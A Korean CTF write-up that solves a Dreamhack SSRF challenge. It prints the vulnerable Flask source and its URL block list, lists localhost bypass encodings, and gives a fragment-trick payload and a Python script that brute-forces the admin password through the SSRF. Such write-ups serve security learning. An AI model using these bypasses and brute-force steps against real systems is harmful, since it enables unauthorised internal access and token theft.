CTF & Wargame(WEB)

Black-Hacker-Company

KWAKBUMJUN 2025. 5. 14. 03:57
TOKEN = "{**SWAPED**}"
FLAG = "SWAP{sample_flag}"
BLACK_LIST = ['file', 'dict', 'sftp', 'tftp', 'ldap', 'netdoc', 'localhost', 'gopher', '127.0.0.1']
PASSWORD = f"{random.randint(0, 255):02X}"
ALLOW_HOST = ['abcd.com', 'asdf.com', 'example.com']
print("password is : " + PASSWORD)

코드를 보면 black_list와 allow_host를 설정해둔 것을 확인할 수 있다.

 

@app.route('/user-page', methods=['GET'])
def user():
    url = request.args.get('url')

    if not url:
        return jsonify({"swap": "Write URL"}), 400

    if not any(allow in url for allow in ALLOW_HOST):
        return jsonify({"swap": "URL not allowed"}), 403

    for bad in BLACK_LIST:
        if bad in url.lower():
            return jsonify({"swap": "BAN LIST"}), 403

    try:
        result = subprocess.run(
            ["curl", "-s", url],
            text=True,
            capture_output=True,
            check=True
        )
        return jsonify({"response": result.stdout})

    except subprocess.CalledProcessError as e:
        return jsonify({"swap": "Error!~", "details": str(e)}), 500

/user-page에 접속하면 사용자가 파라미터로 url을 지정할 수 있다.

만약 사용자가 url을 입력하지 않았다면 Write URL이라는 문구를 출력한다.

만약 url에 위에서 설정한 allow_host가 포함되어 있지 않다면 URL not allowed를 출력한다.

만약 url에 위에서 설정한 bloack_list 문자가 포함되어 있다면 대소문자 구분 없이 BAN LIST를 출력해준다.

 

@app.route('/access-token', methods=['GET'])
def admin():
    if request.remote_addr in ["127.0.0.1"]:
        # 127.0.0.1로 접속했다면
        password = request.args.get("password")
        # password 입력 받음
        if password:
            if password == PASSWORD:
                # 입력값이 db에 저장된 password와 일치하면
                return jsonify({"server": TOKEN}), 200
                # Token 출력
            else:
                return jsonify({"server": "Nop~ Password Wrong><"}), 403
        else:
            return jsonify({"server": "Write Password!"}), 400
    else:
        return jsonify({"server": "Only Localhost Can Access : )"}), 403

/access-token에 접속하려면 localhost여야 한다. 아니라면 Only Localhost Can Access : )를 출력한다.

만약 localhost로 접속했다면 사용자에게 Password를 파라미터로 입력 받는다.

만약 db에 있는 password와 사용자가 입력한 password가 같다면 TOKEN을 출력해준다.

@app.route('/admin', methods=['GET'])
def check():
    if request.args.get("token") == TOKEN:
        # 만약 사용자가 입력한 token과 db에 저장된 token이 일치하면
        return "<h1>dotori-company : $#@&*(@#&*(@)) BeePPP.. </h1>" + FLAG
        # flag 출력
    else:
        return jsonify({"server": "you are not admin..."}), 403

/admin에 접속하면 token을 사용자가 입력할 수 있는데, 만약 사용자가 입력한 토큰과 db에 존재하는 토큰이 같다면 flag를 출력한다.

 

익스플로잇

해당 웹 서비스에서 flag를 알아내기 위해서는 token을 탈취하여 admin 페이지에 접근해야한다.

token을 탈취하기 위해서는 access-token 페이지에 접속해야한다. 하지만 해당 페이지는 로컬 호스트만 접속할 수 있기 때문에 black_list를 우회하여 localhost 권한으로 해당 페이지에 접속해야한다. --> ssrf 취약점

 

<localhost 우회>

http://vcap.me:1530
http://0x7f.0x00.0x00.0x01:1530
http://0x7f000001:1530
http://2130706433:1530
http://Localhost:1530

위와 같은 url들로 localhost를 우회할 수 있다.

 

payload : http://host8.dreamhack.games:20858/user-page?url=http://0x7f.0x00.0x00.0x01:5000/access-token#@abcd.com

-> request.args.get은 기본적으로 Url encoding을 하기 때문에 위의 페이로드를 인코딩한 뒤에 삽입해야한다.

= http%3A%2F%2F0x7f.0x00.0x00.0x01%3A5000%2Faccess-token%23%40abcd.com

이제 로컬 호스트로 접속을 했으니, password를 알아내야한다. 

 

import requests

for i in range(0, 256, 1):
    password = f"{i:02X}"
    url = f'http://host8.dreamhack.games:20858/user-page?url=http%3A%2F%2F127.0.0.2%3A5000%2Faccess-token%3Fpassword%3D{password}%23%40abcd.com'
    res = requests.get(url)
    print(password)
    if "Wrong" not in res.text:
        print(res.text)
        break

 

SWAP{dotori_the_company_was_killed_by_ssrf}

'CTF & Wargame(WEB)' 카테고리의 다른 글

dreamhack insane python  (1) 2025.05.20
dreamhack username:password@ 풀이  (0) 2025.05.20
SSTI 관련 문제 풀이  (0) 2025.05.04
JWT (JSON Web Token) 취약점 관련 문제  (0) 2025.05.02
level 1 error based sql injection  (0) 2025.04.22